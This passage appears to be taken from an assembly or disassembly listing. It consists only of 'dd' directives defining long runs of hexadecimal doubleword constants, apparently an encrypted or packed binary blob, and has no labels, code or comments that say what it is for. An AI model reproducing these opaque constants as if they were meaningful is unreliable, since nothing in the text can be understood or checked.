dd 114C1E64h, 6D9B8020h, 107C29EAh, 7C2C5C70h, 7E6ADA00h dd 79E1D2F7h, 89789C72h, 70692E04h, 14EC8F02h, 4912EB18h dd 0E33070ECh, 321F004Eh, 674DCE20h, 8B3C0A3Fh, 0A0122709h dd 0D133FE68h, 0CF4804CCh, 0B0727ED3h, 0C1C7A74h, 1067445Dh dd 0EA3BB970h, 2E9F0553h, 0C00E7358h, 1A679A38h, 0C9E4910Bh dd 3B84480h, 10B2A654h, 85C81F0Dh, 5E3EF0D7h, 0C83B2927h dd 0AFC01280h, 0B7A7D65h, 0A93FED35h, 45597500h, 0EF166F79h dd 0C4231811h, 7C4CB8A6h, 0A5080099h, 0A7F0294Fh, 540ED91Eh dd 0EC5628A3h, 32AAC091h, 6B9FFFBh, 9D0034E6h, 8747F077h dd 997FE9h, 0D2215D83h, 446C7091h, 0AE82192Dh, 4C460374h dd 62A2FA0Ah, 78F2B7h, 4F254B9Eh, 0CB1C208Ch, 7968D40Ch dd 2482407Fh, 4584180Bh, 0B17BC05Ch, 0C300A6B5h, 3DDB1283h dd 48E1D744h, 791DA442h, 1B2BC965h, 767B1C10h, 13C0A595h dd 7C7DD420h, 0CEA502E2h, 31BA4854h, 918024E6h, 0E8078E38h dd 0D579F677h, 0DC8A8607h, 5073D640h, 996C04D9h, 82763355h dd 0FF2E67A4h, 376F9400h, 1D3B619Dh, 0F8FEE3Eh, 12C03CE2h dd 0B097B5D8h, 0AD99E907h, 59DCD7AAh, 80D89415h, 0F144E5F9h dd 0B800D367h, 18D64EF0h, 0A86589h, 0F53E3340h, 0A99C9635h dd 3F78BE00h, 7E95E8Bh, 1FB805C1h, 0B4D6A85Dh, 0D94EF444h dd 10ECEC22h, 6E2C9A7Dh, 0E440B08Dh, 7EF1C12h, 8CEB07Ch dd 0E287A0E0h, 149939AEh, 7E2BCB83h, 1E43C0BAh, 44CD021Fh dd 179F12DAh, 0E8866080h, 2F1DF0ADh, 5A03D268h, 0FA619811h dd 2A9060E9h, 67750346h, 918C2D36h, 0BFE373A0h, 10048725h dd 0A5E638h, 6DF20182h, 75AB40E9h, 0C2208004h, 8C88F3BAh dd 0F8EB004Bh, 9050AAA6h, 7A07A5AEh, 0E12F74D3h, 1F0941E1h dd 0EC60C060h, 793A0828h, 61802D80h, 0C9AC8B31h, 5A702D8Ch dd 82E3C91h, 2071487Bh, 8761DB82h, 2FE8B463h, 0C93CD0DFh dd 0A69C04BEh, 0E4C005EFh, 987134h, 607CD66Fh, 877D1937h dd 8553Ah, 0E07F62D9h, 4BD68A23h, 571E8010h, 0EEE8648Ch dd 9D0B08B8h, 0C9DAB3EDh, 5F10653Ch, 980E9CBCh, 0E0B0200Ah dd 5908F0A0h, 7AB7DA2h, 0EA3FFF6Fh, 0DBD7D025h, 2407D4AEh dd 74490EDAh, 0B6D573A0h, 79D33C23h, 80D15937h, 9408E0DAh dd 0CD408C9Eh, 0A024C6h, 4AC716FAh, 464F4733h, 7A6E7C00h dd 13C2FB75h, 1047FE2h, 9CE4866Dh, 4C6F262Bh, 842F98h dd 0CEC7C3F4h, 0B0339138h, 0BEE9FC39h, 0AFD78095h, 47BD6308h dd 190BE81h, 7DD10AD9h, 7E79D48Ch, 0A891C8B1h, 4E93273Bh dd 817A1CE1h, 86181EB9h, 54FADCh, 0BD368240h, 0F14F1D57h dd 1C285673h, 2ED4E834h, 2CADE85Eh, 0CFCC0040h, 49A8E9ACh dd 19AEB201h, 737F5B87h, 475F848h, 0E9A2C825h, 0BA15812Bh dd 838C68AAh, 0F08C02CDh, 54F4FA9Eh, 41B8062h, 54500E78h dd 4412C17Bh, 28B0702Fh, 92BAC407h, 19207203h, 0C4FD7D79h dd 409B12E1h, 5CDF7E5Fh, 0DD033F30h, 6DAD017Dh, 0BEDE1AB4h dd 40F42042h, 0D095F416h, 31169E04h, 0FC8050A8h, 238784E3h dd 0E8F324F6h, 0AE586B4Eh, 198A012Ch, 0DAEEAADFh, 627BC180h dd 0A3C477EAh, 9543D00h, 17D0B1DBh, 0E180A831h, 0C9810043h dd 0F1592E2Ah, 300A4ACh, 91223B80h, 703471h, 6E877B4Ch dd 0CC9FB05Bh, 1DA7D603h, 0E143079Ah, 0B02D8D62h, 0A3957702h dd 0ACC682BEh, 0B6C4E900h, 886A5D93h, 0F4143EB9h, 0FBA96C0Ah dd 0C02746B4h, 0EE86381Dh, 6BBC8900h, 9C50A22h, 1C673356h dd 59078C79h, 0DCA1AFE8h, 44F2F9AEh, 0BDEA241Ch, 3E1201C9h dd 0CF7A20A7h, 2578EB0h, 6174C509h, 7884D28Dh, 0D426013Ah dd 0B0DC2BFFh, 331DCAEh, 55CF3C01h, 60BE3011h, 731470h dd 18BDF0C0h, 2B200E31h, 846E2F24h, 44E2C64h, 0E0C4A4B2h dd 636FB500h, 0D30D3FAAh, 0B814B682h, 0CA19B080h, 11A90ED2h dd 9BF66E00h, 0E85B4A6Ch, 10AE6BBh, 987EA677h, 6217B4C6h dd 0D25008Ch, 0A01C8633h, 0A13D581Eh, 49F07F00h, 0EAE2B7D8h dd 10DC8B50h, 47B81860h, 4D4B044h, 0EDB48CD5h, 634089ACh dd 0AA7400B8h, 9287BC0Eh, 0EA320963h, 44641513h, 25A5D400h dd 0EB7E6DAFh, 8CF54C7Ah, 5F605C30h, 7100A96Bh, 0BDFBBB6Ah dd 48DE6C60h, 3B24C448h, 85E038Ch, 71978C66h, 8012879Eh dd 137599A0h, 0B10C7Fh, 0A31FB7E9h, 5387AFE4h, 9720213h dd 11475430h, 0CFF8000Ah, 4A5D37E3h, 8B002F76h, 0C4DBBC20h dd 3A64CC07h, 74809D6Dh, 0CF246CCAh, 97F8812Ch, 1EBF9B18h dd 0B1D678h, 953185Bh, 7E8516BAh, 4274412h, 5F81D401h dd 202AC81Fh, 0AE501984h, 0E6051100h, 0BD9042D4h, 0EB630178h dd 5116F239h, 8FCC4815h, 2D89B80Fh, 6586A04Eh, 5007960Fh dd 0F558F4Ah, 0E48B22B6h, 260BD960h, 8F5C0928h, 80585C8Dh dd 211F656h, 708E4C88h, 8FEC3480h, 0D00BE5B9h, 907D7BAEh dd 602204E8h, 0C202A956h, 0D61DB708h, 304B7E99h, 243005F5h dd 0E410D402h, 514C60B8h, 409C946Eh, 0E3B3D3BDh, 9926E4E8h dd 150594BAh, 88004405h, 0B1208A37h, 6D4A0AB9h, 608CBC01h dd 5DEC2B89h, 45478700h, 3ED5167Ah, 139F00D8h, 26F16376h dd 9302702Bh, 0EF11877Ch, 4D0D9AFh, 80D663FCh, 4CA46E0Ch dd 5AAC0AC3h, 0BA6A8078h, 6C70268Bh, 0BE0300B8h, 0C8F55237h dd 1718C300h, 0C7FCD926h, 34660468h, 0B484ED9Fh, 270014F0h dd 3E153C74h, 1813F71h, 2BFCDA54h, 2D119522h, 795300F4h dd 0DBE14B02h, 0CA07022Dh, 7EAEC217h, 0C8106CE2h, 0A502FAC4h dd 8F1BC761h, 916200Ah, 9A00AEC1h, 0C6B3FA19h, 0AFDD2Ch dd 521237A4h, 8BFFB6B7h, 0F40C7812h, 8A5834D0h, 91EE12EDh dd 0E880C974h, 0AB0EE449h dd 0EEBAF117h, 0E26B01B0h, 8832E0AAh, 39B1C300h, 2BE88EDDh dd 0E091822Ch, 0F9007911h, 548DA2F1h, 0C375A349h, 0D6C9500h dd 984CE2C1h, 44F890A6h, 0C00DCADh, 0D00DDA25h, 17E96C7h dd 0B662475Ch, 0A7A212AEh, 6E941878h, 4718BE90h, 0C821AF20h dd 0E0BF6C9Dh, 5102FC41h, 6D0F90D0h, 0A8F216h, 0D823C701h dd 7C0BE4E3h, 614F9E00h, 29BCF9D9h, 576324B5h, 0EB6E07FCh dd 6FDE80EAh, 0D4B917F5h, 9C84E039h, 4BD7AA06h, 4FD088E8h dd 6F08F289h, 7900E571h, 1AEAB147h, 3DD69ACCh, 3E0CE18Eh dd 0E02962F3h, 9FBAAB00h, 86972835h, 6BC70603h, 61F081BCh dd 9EE88D00h, 535ABA83h, 0AA3D0042h, 443AFA96h, 3314C161h dd 228F25Fh, 0F132284Bh, 787440ECh, 9758B66Ah, 488207Dh dd 7109927Ah, 5A81AE20h, 0DF1C0088h, 6F0BD78Ah, 537CC627h dd 18D31001h, 17977574h, 0E4004C69h, 0E6DE4A1Eh, 8315B7C3h dd 5885BBh, 94077509h, 1CD59CECh, 0C0E67B1Eh, 7F8D33D9h dd 910719C8h, 8BD87A79h, 0D031BDA5h, 57EC4DDCh, 0C4702C0Eh dd 7F270016h, 3DE6AC9Ch, 8E3E013Ah, 0A0E0C362h, 0AA829584h dd 89089C58h, 6C181478h, 0E10A0839h, 84956DE5h, 0F8008612h dd 97F9D6Ch, 7D4107ACh, 0C0312CCCh, 7E63DDD5h, 0B5DE7300h dd 0D47980E2h, 3C8C0059h, 71A39752h, 0D9387CB2h, 0DA1F06B1h dd 2E50B5AFh, 4E2C8EFCh, 0EB2A27C0h, 2B13BA97h, 6C044A76h dd 0E8C0FFD3h, 0E3C7F2Dh, 285573F1h, 45B8D560h, 7E1CB44Eh dd 0F4268D15h, 0D88BBC0Ah, 0E0F29A12h, 0CFB1C400h, 0C3C13C65h dd 0A0BD8F4h, 0E816F0C9h, 91B03Ch, 51A7A307h, 8B1F080Dh dd 0CC0079ECh, 749CE910h, 0BD15483h, 0EE04BBECh, 0ABB83480h dd 64B1F380h, 0DE323D00h, 358FE60h, 6D0A726Eh, 7DB89478h dd 730A2205h, 0CD065F2Ch, 8F186804h, 459CE4h, 213F497Bh dd 0E9A9BA1Ah, 7917C109h, 92C4576h, 6680DBF5h, 0F3B93FCAh dd 0DD0C7D01h, 120EC542h, 0BC2CAFD1h, 5760998Fh, 8C985021h dd 1258D675h, 24141D04h, 0D9A6EF00h, 441526Dh, 0EDA7D760h dd 20B8CC87h, 2EE8F49Ah, 0CCF3BB24h, 13C68049h, 16C8806h dd 0D02CB541h, 0F4B7DBE4h, 0FA52AACEh, 1058E8h, 0BB8C72F3h dd 506332Bh, 0EE14F5DAh, 924B3AFh, 72F3D7FBh, 821F0720h dd 200BD2ACh, 0E674E364h, 0A49E4200h, 270D0913h, 0AB67754h dd 0DEE57EBFh, 0E4642594h, 0E02731EEh, 3B2749Fh, 0E6EFA970h dd 949153h, 0D6AD9D8h, 7AC2B9h, 0D1EB8FC9h, 432CEFADh dd 0C8013201h, 0D93D7D55h, 80B474FAh, 0BE1BD75Dh, 8EB84E65h dd 0DD9CC509h, 0B8009082h, 19EEACh, 266F68C3h, 180A1389h dd 0AA97250Bh, 20717Bh, 0C05F8594h, 67508FD1h, 0E0B0394h dd 462D2BACh, 24F7E060h, 3802FF5h, 8C94C598h, 65626D80h dd 0A76A7900h, 15C2037Bh, 0BED50170h, 1C9698A8h, 7C36305Dh dd 0A9AD6013h, 3BCCE889h, 672A0056h, 5ADD7610h, 0C73DBF18h dd 0DEBB0072h, 8B53386Eh, 0D0B95887h, 517F4800h, 0D3CED973h dd 1D82E48h, 2DDA8F20h, 6B919Ch, 1F889045h, 0C000A27h dd 0FA79B892h, 8D5C23h, 0FE578586h, 0BD966893h, 4915D00h dd 0FF01F5E3h, 58BC070Eh, 0D041023Dh, 2B6E3663h, 3F003472h dd 9037F6CDh, 1C3069EBh, 8018D67Ch, 86EFF129h, 40CE13C9h dd 0CF66A06Ah, 0DFE65A5Eh, 79B50050h, 1141E5BAh, 0F4691D00h dd 9BE160EFh, 0F617EAABh, 0FF28C006h, 46BECB8Fh, 0F3EA4700h dd 0FB19D202h, 3E2B2C79h, 7BFC01E6h, 0B9EC1D42h, 26A90031h dd 0D6CC443Ch, 313874A2h, 0E779F586h, 0D5299C05h, 406709h dd 0E21A56F0h, 776CFE02h, 0A5920085h, 96F60C16h, 7C006B39h dd 0D3608DABh, 0C382677h, 0BF82E641h, 610057E1h, 0E17CBD9Fh dd 15EA9D8h, 2A3F93DFh, 8119954Bh, 0BA300E40h, 48831F20h dd 0CE272378h, 857F413Fh, 3AEE5177h, 0A5627AC0h, 9C94003Eh dd 176E04AAh, 0C1C1E459h, 70AB0CD4h, 44D6FCh, 6B491543h dd 7367DC96h, 822EEA07h, 1CB60F97h, 0CD2730E9h, 0A1DC8469h dd 0BDFCE100h, 38EF8A90h, 0AAEC0010h, 0CCA32285h, 1E88E092h dd 0C041C01Bh, 4A8874ABh, 0B17B4600h, 0F5105FACh, 0C32800E4h dd 70625089h, 5510FE45h, 677FF05h, 5A653725h, 800051E3h dd 0BD3F10B3h, 1DDD13Eh, 0F1AC79C6h, 0F0195FC3h, 2F0AB07Ah dd 0DC20B410h, 48FE8803h, 0D9510014h, 0E75D197Ch, 0CC18C57Bh dd 0D859F78Eh, 0D75E0089h, 0C79301A9h, 0B9C0021Fh, 4710D2F9h dd 1AA00084h, 4F20D860h, 0E1302822h, 0F0B85811h, 85420173h dd 0CD59622Ch, 921ED825h, 6011A05h, 600158C8h, 4178FA19h dd 0B21CF0h, 9B6766E0h, 0C415F2F8h, 0AB369D0Fh, 283802ECh dd 2AB8A0D5h, 3298746h, 0BCE2DE03h, 82D8EB66h, 714810E6h dd 0B5D98058h, 0C8FC32B4h, 1E8CE7D8h, 3D722104h, 0A09E4FCBh dd 97E48007h, 0CB9F673h, 0BE926B04h, 30C3598Fh, 0CDD4A890h dd 7C5206C9h, 896101A3h, 0F90FBC7Ah, 62DECC2Eh, 60F2D989h dd 3CEE0Ch, 16E88FE2h, 7CFA1C79h, 0ED64A578h, 4640FE80h dd 0B2033ED5h, 88C90103h, 0C8891258h, 7FC0F7A0h, 0CCF050E0h dd 84CC11BFh, 90E412FDh, 0EFAF9020h, 73180626h, 59EDC710h dd 0C1608C00h, 5B3EDD7Ch, 75BE00C9h, 0A6B17F05h, 2F481CD7h dd 0DC5C01F0h, 0D39DFDD6h, 2A684AD4h, 0E0E228h, 3285ACBBh dd 0AD3159E1h, 0EF008276h, 0AE92F454h, 186EA91Fh, 89D42867h dd 0E1EAAFF2h, 91ACD01Ch, 842BDE40h, 7AE7F943h, 34C448BFh dd 23DC71Ch, 2938CDDh, 41370C77h, 5A2E0915h, 0B9842984h dd 0F55480B8h, 64249FEh, 8DB14A00h, 3D2F0D31h, 0CCE8C870h dd 8CF57B29h, 5D05BD91h, 282EFF2h, 73105C08h, 0D6120C44h dd 98007F36h, 3269F158h, 1F911B5Eh, 71004CF0h, 3DB64170h dd 0A6C593h, 19C79287h, 0A7FA0D4h, 4638C8F4h, 9528F7F5h dd 8A006429h, 894BC285h, 9D69C09h, 276968E7h, 21C38C10h dd 0A300B27Ah, 96896AE2h, 7F24FE71h, 902E0760h, 925459C4h dd 2440F115h, 99012CA0h, 0F73230D3h, 49F05D04h, 5B9E0EAAh dd 0DF6068B3h, 5E3789B0h, 0CC302D04h, 7488F27Dh, 0F8CF88EDh dd 3531B900h, 8D37F75Dh, 96740087h, 0E9915C33h, 0FF0C3DFDh dd 0A9E3284Eh, 0F31748BBh, 9A491A00h, 6311B07h, 0E58C400Bh dd 4CC80B9h, 0A8B4C9h, 7463E08Eh, 92E30EA1h, 46EC5D03h dd 0F00AC64Dh, 3CCFE4h, 0B806A873h, 16C9A615h, 9200657Ah dd 6B746E0Eh, 0F8F68A9h, 6D1ACB86h, 80FB1CE5h, 1EEE9CA9h dd 0C8BF3B06h, 31953Dh, 0FFDB3F77h, 0C9EFA588h, 980FDEE2h dd 46FE6C04h, 77289FD0h, 0FFB30092h, 0A08ACCD8h, 7005FDCh dd 0D5D4632Bh, 3C69117Dh, 0E718DB02h, 66A1581Eh, 0DDC1BA00h dd 0D4EADEF4h, 500C001Fh, 0B4189327h, 0F1006CB2h, 5401FD45h dd 0F04920C5h, 0D9CF01D2h, 8D9EC79Fh, 9684516Fh, 718AE0AFh dd 14E911C0h, 8966EF7Fh, 0CB723013h, 0A9900F00h, 5625F16Dh dd 9694071Ch, 312D3075h, 0C3F01E81h, 0A26E3000h, 337F40Ah dd 54D50E88h, 4C4C9E95h, 402BC51h, 3E997964h, 0CE94A08Fh dd 12EAB66h, 0DF43A2E6h, 0D4490709h, 0F501D386h, 0DB875FAh dd 0D8806292h, 65A95AB7h, 1E18F0B3h, 94791DE7h, 3A8A3075h dd 0A3904560h, 0B0BA5814h, 0D4513AB8h, 9B074138h, 0FCB6EE43h dd 66149C70h, 0E353029Fh, 793D3060h, 96001446h, 0D464CC82h dd 0F032200Bh, 3D510087h dd 0E6F8F6ECh, 1EF41937h, 8002CA29h, 0EBF72007h, 0F74E75F3h dd 971547FFh, 0EDB094B7h, 6722A5F6h, 5E8AA0E0h, 885C0A82h dd 0B207208Eh, 9EBB40E5h, 0C0C0753Dh, 0E84CBD5Dh, 1A3E8DAh dd 4B44EA20h, 8168EC0Ch, 985FCCA9h, 0B9F7E5FBh, 3883D7E4h dd 433E92E9h, 7000F8B6h, 82E833C6h, 726B60h, 0D17E02DEh dd 8B058C4Fh, 0B5EBFD00h, 80625A9Bh, 288C9894h, 5C0A689h dd 0E1240A27h, 0E48C214Dh, 0EDB1D417h, 4C92E775h, 0CCA05C00h dd 22BAA935h, 0A2843FFAh, 43BB2300h, 87DDB34Eh, 20E91F6Eh dd 672492A8h, 0A30F0189h, 97D31004h, 0ED2020ADh, 0BC1FB400h dd 3ABF2FEFh, 84601E23h, 0C11607CDh, 826C946Dh, 90206854h dd 587A94FDh, 703D7E9h, 3B2004FEh, 6C993Dh, 366A0C45h dd 12D548F7h, 40873D95h, 0A3D4A508h, 0E40267C1h, 287FB90Bh dd 4C64407Ah, 0AF940090h, 975B5EC6h, 6B01E36Dh, 0E2DBF956h dd 0ABF0C984h, 3E678893h, 7A294700h, 0A1C022B8h, 0F0985048h dd 0C2DA075Fh, 0A1783F75h, 804A8E9Dh, 4E5B65B9h, 381B3511h dd 30E43D9Ch, 521480FCh, 9550B033h, 300011C0h, 2635172Fh dd 4E2D780h, 0DAF078B6h, 71E882D1h, 7FD44020h, 75E4241Eh dd 90FC63C8h, 5D035001h, 62EF8517h, 0DF9D3182h, 3BC12582h dd 0FEDBF0F0h, 67E13519h, 0B1C83C21h, 73290470h, 83954793h dd 0D888E340h, 0F1076AD2h, 9786692Eh, 5EF263D0h, 383749A8h dd 0C009E915h, 245FA2Ch, 69E40562h, 0DB980240h, 47619300h dd 530271FCh, 0D08064AFh, 9C288C7Eh, 0AB89180Eh, 81E8E0C8h dd 0C3F9ACh, 44233428h, 2B87CB33h, 1E489F40h, 0C3242D22h dd 0BD9907A2h, 0C11AC6D0h, 38DC403Ch, 15A906F6h, 0CB8D1F7h dd 9B283368h, 1307F4D0h, 89817924h, 0E47D6D80h, 1E0514A8h dd 0C480A4EFh, 0E3435A20h, 9366E902h, 40F1FCF5h, 5F95F0Ch dd 0BF164D95h, 0FAFE8796h, 7CE900E0h, 0D8FDF563h, 86712B14h dd 20CACEBCh, 0BAD16E78h, 3B19020Ch, 60E0BE3Ch, 93988F20h dd 0E31B075Ch, 0A023E5FFh, 830FC23Fh, 4B4DAD04h, 3C90963Dh dd 99C563Ch, 6FA6FAFCh, 0CCBBF084h, 79502EE8h, 72ECF5E7h dd 3D4F9100h, 7FD6AD3Fh, 0BC7D4Eh, 0B290DBDCh, 0AF386DB8h dd 0BDC91000h, 996708B1h, 508DE60Eh, 0A529476h, 15E8FF8Ch dd 0B0A080D0h, 0D2EE8762h, 961E0300h, 53C3E690h, 9C3E582Ch dd 0F55F6380h, 897E79C2h, 0A554A400h, 8858B0C9h, 0C71600E8h dd 7F95E301h, 0DA168687h, 5022809Eh, 0E988408Fh, 0C03D7C90h dd 0AD382B51h, 0FA1D925Eh, 71C75028h, 90D0155Bh, 26BDB137h dd 403488DFh, 8F8E685Dh, 0C3B8C600h, 1EE908FFh, 217760CCh dd 0EE67F09Fh, 0BB52A802h, 0C0C9871Fh, 90A4961Ch, 9D400CF8h dd 43888145h, 39068830h, 0D4EF0Dh, 0D5C2D0C5h, 5C15C73Ch dd 0B78C400h, 9D66B827h, 0C9706581h, 0F6A00077h, 0B6E83562h dd 0ED3C488h, 19815089h, 0EE69856Fh, 8090D404h, 73C4E930h dd 0F9943E30h, 5C030DFCh, 0F026C17h, 9C2D6D88h, 5EE1F460h dd 67149F50h, 117EBB00h, 3D424571h, 87DF18F7h, 5ECFB904h dd 0A3A92900h, 0DB180667h, 0C3AD1813h, 3887CFDh, 0DC009CA4h dd 8E67719Bh, 30CEFDFh, 95308328h, 0C10E12E8h, 4086E0C7h dd 1C79AFC6h, 0D49A01FFh, 0E14AF1C2h, 974E070h, 84306700h dd 38F380C7h, 0EFF50336h, 111C04F8h, 89244973h, 680E429h dd 0C5BEEE9h, 68AA2D46h, 0F507B05Eh, 312C1D04h, 0A8A00767h dd 42EDD361h, 0AC44E35Eh, 0DECE4B00h, 72C290E2h, 24A6B0ECh dd 40ACEFB8h, 4F3B9F17h, 0CD186A07h, 38A1310Ch, 0C760C9D3h dd 0A89B00B9h, 958FDE56h, 1D0F6586h, 0D7521F96h, 0E9BB9500h dd 39461E71h, 0A600F356h, 53B9B48Fh, 0D251DB15h, 31642190h dd 81B8086Ah, 8B407607h, 85B3AA6Ch, 0CB7DABA5h, 0E0D09A28h dd 91819C4Ah, 0ACAC78h, 4E4F318Ah, 0D648B956h, 504C2288h dd 268FAE34h, 1C0B28Bh, 172B853Ah, 125432CAh, 4478A3Dh dd 0CEC256D2h, 516B408Bh, 13AF2462h, 1AE060CCh, 0C900A241h dd 19221FC1h, 7CC700Ah, 61C077AAh, 93E4A029h, 0F3098357h dd 649F80h, 40314812h, 0EC5900A3h, 0D6D95DDh, 33025C24h dd 0E7964629h, 69D4A014h, 0B243D6h, 0D24752E8h, 0E97D4FB9h dd 0C8F0DF07h, 0A4432610h, 0F515E00Dh, 0B8620EA5h, 41380604h dd 9F24CE3Ch, 0C02C4F4h, 0E687F0A2h, 9BD100F8h, 0CC9912ADh dd 89603D55h, 0D5E3FED9h, 1788011Eh, 0E8C25067h, 1942095h dd 9F4029F4h, 287196h, 31D06376h, 40C973Dh, 935B7701h dd 0E8EE03E4h, 0B6004462h, 63274036h, 81A033EAh, 1A02100Eh dd 0DFA29002h, 0FE3044E1h, 0EF07334h, 0FC24380Fh, 0B502A9C0h dd 0CD13B9A8h, 400D7A3h, 9D546EBh, 23EF0AFDh, 40F0E0AEh dd 81C13255h, 5FC2658h, 0E654E84Eh, 0F7AA488h, 0E74B1891h dd 0FC66EF80h, 6901872Fh, 0F6E43E5h, 0E889A011h, 2423977Bh dd 9099518h, 809B4AA8h, 0ED1E58A8h, 987309B2h, 1C909E5Eh dd 8E1DAC5Fh, 2FB867Fh, 0E51E06B3h, 27492C75h, 50472894h dd 4F8DCEC0h, 340301B0h, 4ED65F45h, 1760E63Ch, 237A75BCh dd 818A7409h, 114C810Dh, 88D06D45h, 0F6E20009h, 0C0804D8Eh dd 7493DA6Eh, 0D10D013Eh, 47A890D3h, 485CE070h, 4516047Eh dd 0A94020E7h, 82008F7Fh, 14300395h, 15D611CAh, 800B44D7h dd 6EA37807h, 0B84E31BAh, 92D261E0h, 84303A18h, 0E555C1h dd 3B2BEF2Ah, 99DAE957h, 5EF7DD00h, 881B439h, 883D3070h dd 51509D31h, 0ACE03307h, 0D570AF79h, 0D0773BE2h, 4E0AC0E8h dd 809C1C88h, 0BCD6C9A0h, 0F77CABDAh, 0C000C99h, 0E043953Dh dd 1C58E462h, 0C10A3B41h, 61337412h, 282439A9h, 0D205951Eh dd 806511D0h, 84E65C0Ah, 0B8B17640h, 0E79D07A7h, 0F1F839h dd 0D39BFBFCh, 0E2F2F550h, 4574681Eh, 8E61878h, 0EC12F39h dd 0E509D880h, 0B06950E0h, 6700C988h, 531B0DC8h, 8744241h dd 0E752143Fh, 4BB38341h, 0E1AE2E4h, 0E6D39065h, 78509CC0h dd 2912FC09h, 1427AB61h, 0E05CC8E9h, 87DE0059h, 0D55B4437h dd 970347EFh, 7B32D383h, 84C8AC9Dh, 0D4284986h, 8581CE03h dd 27D8ECDBh, 0B0D5D22h, 3CF68F42h, 0F0EDA8DFh, 66940090h dd 0D014EF38h, 0B9787825h, 4204F5Dh, 95805E4Eh, 30739C4Fh dd 819E90B8h, 0EC114B60h, 4CFFA04Eh, 4D047097h, 0A0CFB3FCh dd 1715FE74h, 0E00586h, 0BE8E387Eh, 3F89422Fh, 7D00BA6Ah dd 0EB7965E2h, 85804FFh, 0F0D08058h, 0CAFCE16h, 9E7C792h dd 580F7B19h, 9F35AD4Ah, 200DF64Fh, 6E77E614h, 0DDBE0073h dd 0FF20B837h, 0AA32AB06h, 2993C8BFh, 192AC80h, 1D25459Ch dd 0E9049990h, 14F378C8h, 7CA2A85Eh, 0F5753D00h, 0AD4150F9h dd 3A07B8ECh, 562816DAh, 83299CE6h, 7C3C80CEh, 6BA200B0h dd 4B018C2Ah, 0ED00C680h, 8EA4AE4Eh, 7FD60F6h, 832A8D45h dd 89F98126h, 0E1D4EDEAh, 4CBC4019h, 40A4F45Eh, 0C43E7929h dd 0D5F94200h, 5C884A41h, 1C80AC87h, 0B926C740h, 93246B00h dd 0DA4C663Fh, 12A00D2h, 0D1A34EB4h, 0FA10F6EDh, 570280FBh dd 879E3550h, 65280872h, 21023C82h, 704D540h, 87A1000Ah dd 1112B189h, 9007B0A4h, 9049615Bh, 0B76C84h, 6ADED980h dd 1E83BE3h, 0C0B239CFh, 5AC2E153h, 2F863834h, 8719A84Ch dd 70F4F0D5h, 0E022F948h, 3F8C0061h, 401458BDh, 0C87315A5h dd 791C5BEEh, 0A8404189h dd 0BD317F12h, 0DF82007Ch, 88C3E235h, 0D0C896A7h, 90869654h dd 0A4B79A18h, 0B883FC00h, 0F6BBB91Ah, 456200C0h, 2C18A0Ah dd 0EC0025DFh, 942F9158h, 14DB095h, 0D09D5BEDh, 0C3E79390h dd 0BD19D100h, 1811088Fh, 8A7C054Ah, 0C57B1BE9h, 0D004D0C8h dd 87048F81h, 88F24FB2h, 17FB8B4h, 0BC187441h, 0F962BF01h dd 0A581433Dh, 70B009CDh, 30214C05h, 2CDA15F8h, 0AB686D05h dd 0D030A95Eh, 963E7F53h, 1FCA8068h, 261D1E64h, 783D3626h dd 0CC3A3B40h, 5E0D1CA1h, 0A6A84343h, 2BE8BAB8h, 951E037Ah dd 8ED940D8h, 341006C0h, 21301F05h, 0E4748A90h, 0ED380BC6h dd 5AF86942h, 0EC61509Eh, 4C156F6h, 945D64C4h, 0E3F24088h dd 0A70B0C50h, 0F308668h, 1B8E4BA3h, 24CEC124h, 0BC9320h dd 0EAEE995Ah, 0B726590Dh, 2BE3271Fh, 0C0A342CFh, 1D04C523h dd 16C4A91Ch, 0BC001822h, 7DD97289h, 0CB1E1278h, 2C0082A5h dd 216D33FDh, 0EAED7D97h, 0F647002Fh, 0D0554167h, 25003517h dd 68F0990Dh, 1ED9DAF7h, 0E43D9EDBh, 6C44397Ch, 443F3807h dd 23C41683h, 0D31590F4h, 0AC8C1C40h, 0ADE760F0h, 137A22C1h dd 27486C00h, 0A5EC5C1Bh, 8FAF0267h, 29D12EA7h, 1E88B060h dd 0DDFE94A8h, 21678200h, 49BFCC41h, 228A2896h, 3E943A8h dd 0F5DF44A3h, 35C880ACh, 0F637D0Ch, 0EE1FAD07h, 0CC849589h dd 0B365404Ah, 0B4F11150h, 314F8094h, 80D77E93h, 60910090h dd 1C2CC8Bh, 9A90BC0Fh, 3B0FE8E8h, 0E8611E26h, 2D369E10h dd 0CE904CCh, 2C25E08h, 0D34E05Dh, 11499E6h, 0DBC20FC9h dd 0A2E28470h, 0C580F17Dh, 0BAAD298Eh, 21B41D30h, 9EF343F8h dd 592869BBh, 70F95487h, 0DBB81B8Eh, 0C5832C80h, 77F79000h dd 721F5F07h, 4FA7EB7h, 0D0069D8Eh, 0FFD880DAh, 10B6950Dh dd 0C9A93200h, 5304F258h, 2F0CE812h, 2DB8608Ch, 2300C89Eh dd 4E98E8A2h, 0DB8F2C73h, 877B0BEFh, 1C95A810h, 0CF6F9700h dd 26192E9Ch, 0E4A37953h, 0B477765Ah, 0D398408Ch, 100205Fh dd 1F4780B6h, 45A4856h, 490642Fh, 31A8CC1Ah, 52CE8809h dd 41C887C6h, 0B880F0E0h, 6C590517h, 3EC77Eh, 0D6AB372Ch dd 6A144622h, 60D0E3F8h, 85217D49h, 0A0CD0071h, 351EA89Ch dd 8E499E27h, 0E04C9CD0h, 60A5B0EAh, 0AA4A70F4h, 0BD16594Ch dd 48039670h, 9897A830h, 6023E1h, 7622EFA4h, 0C31838C9h dd 0AC500912h, 802C3010h, 0DD9F2F0h, 5ED402D1h, 9A6155B3h dd 14149441h, 5C00E0E2h, 83F14708h, 32002749h, 0B8739C6Ch dd 2C0B6716h, 40CA131h, 0A20D89FBh, 0F10079E0h, 11A8B562h dd 286AD387h, 1EE7EACFh, 0ED19C325h, 0EFE64800h, 14B69C71h dd 393744CFh, 4B0044A2h, 19013C96h, 0F6901D58h, 0AB68EC50h dd 9B62E50Dh, 25CAC07Fh, 0FF48B064h, 0F49D5E24h, 658C9C41h dd 20873992h, 53843FE4h, 7EB7B02h, 718F47B7h, 0ED8301FCh dd 31536A33h, 4B6D8AAh, 0CB0119ECh, 1F1E02D6h, 0B421CE90h dd 0C69F6001h, 0C8BADECCh, 3C800690h, 877FAE1Dh, 75E2001Ch dd 80E0C331h, 0AC01396Dh, 4178D63h, 1866E46Ch, 78272458h dd 0FA098C90h, 0A6040A00h, 2C40F16Dh, 19731C8Bh, 7AF48E1Eh dd 1880D3ABh, 0A252AA06h, 8A432009h, 25E007D4h, 0EFF308F0h dd 17221672h, 0F80C88E2h, 4B934E04h, 108115C3h, 7CF72BFFh dd 403CB690h, 47EB710Bh, 863A1E00h, 0D7A5092h, 